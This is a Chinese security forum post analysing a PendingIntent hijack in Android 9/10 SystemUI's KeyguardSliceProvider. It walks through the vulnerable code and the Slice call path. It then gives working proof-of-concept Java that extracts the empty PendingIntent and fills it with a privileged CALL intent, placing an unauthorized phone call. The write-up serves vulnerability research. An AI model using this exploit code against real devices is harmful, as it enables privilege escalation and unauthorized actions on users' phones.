奇安信攻防社区-某AOSP框架层提权漏洞分析

某AOSP框架层提权漏洞分析

Android framework systemui 越权

### 前置学习

#### ContentProvider call

call函数的其中一个原型如下：

```java
public Bundle call (String method, String arg, Bundle extras) 
```

与其他基于数据库表的`query/insert/delete`等函数不同，`call`提供了一种针对`Provider`的直接操作接口，支持传入的参数分别为：`String`类型的方法名、`String`类型的参数和`Bundle`类型的参数，并返回给调用者一个`Bundle`类型的数据。

`call`函数的使用潜藏暗坑，开发者文档特意给出警示：`Android`框架并没有针对`call`函数进行权限检查，`call`函数必须实现自己的权限检查。这里的潜在含义是：`AndroidManifest`文件中对`ContentProvider`的权限设置可能无效，必须在代码中对调用者进行权限检查。

#### SliceProvider特性

`Slice`是`Android`显示远程内容的新方法。`SliceProvider`是自`Android P`开始引入的一种应用程序间共享`UI`界面的机制。  
如下图所示，在默认使用场景下，`Slice`的呈现者（`SlicePresenter`)，可以展示出`Slice URI`和`Android`系统提供的`onBindSlice()`等 API 来访问另一个 App 通过`SliceProvider`分享出来的`Slice`。当 App(`SlicePresenter`) 想要显示`Slice`时，将调用`onBlindSlice()`，并根据内容`URI`返回的`Slice`来使用。也可以借助`notifyChange()`来更新`Slice`。

![Alt text](https://shs3.b.qianxin.com/butian_public/f73238366d47aec347c70490a8bf7e7664ee88bf42689.jpg)

### 漏洞代码

在`android9`和`android10`中，出现在不同的位置，但是一样可以被利用的漏洞。

```java
//f rameworks/b ase/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java
    protected void addPrimaryAction(ListBuilder builder) {
        // Add simple action because API requires it; Keyguard handles presenting
        // its own slices so this action + icon are actually never used.
        //漏洞点
        PendingIntent pi = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
        Icon icon = Icon.createWithResource(getContext(), R.drawable.ic_access_alarms_big);
        SliceAction action = new SliceAction(pi, icon, mLastText);
        RowBuilder primaryActionRow = new RowBuilder(builder, Uri.parse(KEYGUARD_ACTION_URI))
            .setPrimaryAction(action);
        builder.addRow(primaryActionRow);
    }
```

#### 漏洞产生原因

`pendingintent`初始化过程中，未对`intent`赋值，产生的恶意篡改问题

### 触发路径

```java
//f rameworks/b ase/core/java/android/app/slice/SliceProvider.java

public static final String METHOD_SLICE = "bind_slice";

@Override
    public Bundle call(String method, String arg, Bundle extras) {
        if (method.equals(METHOD_SLICE)) {
            Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
                    extras.getParcelable(EXTRA_BIND_URI)));
            List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);

String callingPackage = getCallingPackage();
            int callingUid = Binder.getCallingUid();
            int callingPid = Binder.getCallingPid();

//触发函数，supportedSpecs要事先布置好
            Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
            Bundle b = new Bundle();
            b.putParcelable(EXTRA_SLICE, s);
            return b;
        } else if (method.equals(METHOD_MAP_INTENT))

[...]
        return super.call(method, arg, extras);
    }

private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
            String callingPkg, int callingUid, int callingPid) {
        // This can be removed once Slice#bindSlice is removed and everyone is using
        // SliceManager#bindSlice.
        String pkg = callingPkg != null ? callingPkg
                : getContext().getPackageManager().getNameForUid(callingUid);
        try {
            //检查对应app是否有对应权限申请
            mSliceManager.enforceSlicePermission(sliceUri, pkg,
                    callingPid, callingUid, mAutoGrantPermissions);
        } catch (SecurityException e) {
            //如果不对，就要去申请权限报错
            return createPermissionSlice(getContext(), sliceUri, pkg);
        }
        mCallback = "onBindSlice";
        Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);
        try {

//触发函数
            return onBindSliceStrict(sliceUri, supportedSpecs);
        } finally {
            Handler.getMain().removeCallbacks(mAnr);
        }
    }

private Slice onBindSliceStrict(Uri sliceUri, List<SliceSpec> supportedSpecs) {
        ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
        try {
            StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
                    .detectAll()
                    .penaltyDeath()
                    .build());

//触发函数
            return onBindSlice(sliceUri, new ArraySet<>(supportedSpecs));
        } finally {
            StrictMode.setThreadPolicy(oldPolicy);
        }
    }

@Deprecated
    //可以看出，在基类里该方法为空，具体实现在派生的子类中
    public Slice onBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs) {
        return null;
    }
```

问题出现在派生类中

```java
//f rameworks/b ase/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.java

@Override
    //初始化构造函数
    public boolean onCreateSliceProvider() {
        synchronized (this) {
            KeyguardSliceProvider oldInstance = KeyguardSliceProvider.sInstance;
            if (oldInstance != null) {
                oldInstance.onDestroy();
            }

mAlarmManager = getContext().getSystemService(AlarmManager.class);
            mContentResolver = getContext().getContentResolver();
            mNextAlarmController = new NextAlarmControllerImpl(getContext());
            mNextAlarmController.addCallback(this);
            mZenModeController = new ZenModeControllerImpl(getContext(), mHandler);
            mZenModeController.addCallback(this);
            mDatePattern = getContext().getString(R.string.system_ui_aod_date_pattern);

//创建mPendingIntent时构造了空Intent，既没有指定Intent的Package、也没有指定Intent的Action
            mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
            mMediaWakeLock = new SettableWakeLock(WakeLock.createPartial(getContext(), "media"),
                    "media");
            KeyguardSliceProvider.sInstance = this;
            registerClockUpdate();
            updateClockLocked();
        }
        return true;
    }

@AnyThread
    @Override
    //派生子类具体实现了onBindSlice方法
    public Slice onBindSlice(Uri sliceUri) {
        Trace.beginSection("KeyguardSliceProvider#onBindSlice");
        Slice slice;
        synchronized (this) {
            ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
            if (needsMediaLocked()) {
                addMediaLocked(builder);
            } else {
                builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));
            }
            addNextAlarmLocked(builder);
            addZenModeLocked(builder);

//触发函数
            addPrimaryActionLocked(builder);
            slice = builder.build();
        }
        Trace.endSection();
        return slice;
    }

protected void addPrimaryActionLocked(ListBuilder builder) {
        // Add simple action because API requires it; Keyguard handles presenting
        // its own slices so this action + icon are actually never used.
        IconCompat icon = IconCompat.createWithResource(getContext(),
                R.drawable.ic_access_alarms_big);

//成员mPendingIntent被放入action中，之后会被执行
        SliceAction action = SliceAction.createDeepl ink(mPendingIntent, icon,
                ListBuilder.ICON_IMAGE, mLastText);
        RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
                .setPrimaryAction(action);
        builder.addRow(primaryActionRow);
    }
```

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### 利用过程

首先要构造`call`函数的参数，`uri`的路径是派生类的路径：`content://com.android.systemui.keyguard`，`method`已经知道，`arg`可以不用设置，关键是`extras`怎么构造。可以参考`cts/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java`里的例子。

```java
    private Slice doQuery(Uri actionUri) {
        Bundle extras = new Bundle();
        extras.putParcelable("slice_uri", actionUri);
        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
                    new SliceSpec("androidx.slice.LIST", 1),
                    new SliceSpec("androidx.app.slice.BASIC", 1),
                    new SliceSpec("androidx.slice.BASIC", 1),
                    new SliceSpec("androidx.app.slice.LIST", 1)
            ));
        [...]
```

最后，构造出来为下所示：

```java

final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";

Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());

private Bundle prepareReqBundle() {
        Bundle extras = new Bundle();
        extras.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
        ArrayList< Parcelable> lists = new ArrayList<Parcelable>();
        lists.add(new SliceSpec("androidx.slice.LIST", 1));
        lists.add(new SliceSpec("androidx.app.slice.BASIC", 1));
        lists.add(new SliceSpec("androidx.slice.BASIC", 1));
        lists.add(new SliceSpec("androidx.app.slice.LIST", 1));
        extras.putParcelableArrayList("supported_specs", lists);
        return extras;
    }

```

其次，发现直接访问`SystemUI`的`Slice`的需要授权，所以需要再构造一个申请授权的`intent`。在上文触发路径的申请权限流程是：`createPermissionSlice`-&gt;`onCreatePermissionRequest`-&gt;`createPermissionIntent`.

```java
    public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,
            String callingPackage) {
        Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);
        intent.setComponent(new ComponentName("com.android.systemui",
                "com.android.systemui.SlicePermissionActivity"));
        intent.putExtra(EXTRA_BIND_URI, sliceUri);
        intent.putExtra(EXTRA_PKG, callingPackage);
        intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());
        // Unique pending intent.
        intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)
                .build());

return PendingIntent.getActivity(context, 0, intent, 0);
    }

```

![Alt text](https://shs3.b.qianxin.com/butian_public/f8117461bc5a44e4b895ed1e711c491c7ec0a1fe9465b.jpg)

模仿上述代码的构造，`poc`中参考其来发送申请权限行为。

```java
Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
        intent.setComponent(new ComponentName("com.android.systemui",
                "com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices);
        intent.putExtra("slice_uri", uri);
        intent.putExtra("pkg", getPackageName());
        intent.putExtra("provider_pkg", "com.android.systemui");
        startActivity(intent);
```

接着，获取到`call`函数返回的`Bundle`类型数据后，查看下列代码来挖掘深藏的`mPendingIntent`参数。

```java
    public static final String EXTRA_SLICE = "slice";

public Bundle call(String method, String arg, Bundle extras) {
        [...]
        b.putParcelable(EXTRA_SLICE, s);
        return b;
    }

public Slice onBindSlice(Uri sliceUri) {
        Slice slice;
        synchronized (this) {
            ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
            [...]
            addNextAlarmLocked(builder);
            addZenModeLocked(builder);
            //slice中的第三个数据结构体
            addPrimaryActionLocked(builder);
            slice = builder.build();
        }

protected void addPrimaryActionLocked(ListBuilder builder) {
        IconCompat icon = IconCompat.createWithResource(getContext(),
                R.drawable.ic_access_alarms_big);

//第一个也是唯一一个SliceAction数据
        SliceAction action = SliceAction.createDeepl ink(mPendingIntent, icon,
                ListBuilder.ICON_IMAGE, mLastText);
        RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
                .setPrimaryAction(action);
        builder.addRow(primaryActionRow);
    }
```

那个`action`就是需要劫持的`PendingIntent`，通过观察，位于返回`Slice`第`3`个`SliceItem`的第`1`个`SliceItem`，用代码表示就是：

```java
Slice slice = responseBundle.getParcelable("slice");
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
```

**其实这个办法不够严谨**，然而 不同厂商封包是否相同，需要深入思考。  
一种简单暴力的方式，就是逐步打印`Slice`结构体的内容，由于大部分内容不可解析而无法打印，但`getItem()`后，还是能出现可能的成员对象，一步步寻找到某个Action为`PendingIntent`，因为整个`Slice`中只有一个，所以找到就是成功了。  
下面就是`Google Pixel 2 Android 9`的路径，可以看出和 其他厂商封包不同。

```java
Log.d("see", "slice: "+slice.getItems().get(1).getSlice().getItems().get(0).getSlice().getItems().get(0).getAction().toString());
```

最后，构造恶意的`intent`来填充`mPendingIntent`的双无`intent`，比如无授权的自动拨打电话

因为初始化`PendingIntent`时传入的是一个没有内容的`new Intent()`，所以攻击者在调用`PendingIntent.send()`时可以随意填充`Intent`里的大部分内容。这是因为在系统源码里`PendingIntentRecord.sendInner`调用了finalIntent.fillIn(intent,key.flags)，允许调用者填充`Intent`的值。

```java
Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:000"));

try {
            pi.send(getApplicationContext(), 0, evilIntent, null, null);
        }catch (PendingIntent.CanceledException e){
            e.printStackTrace();
        }
```

发表于 2021-06-11 14:16:01
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分类：其他

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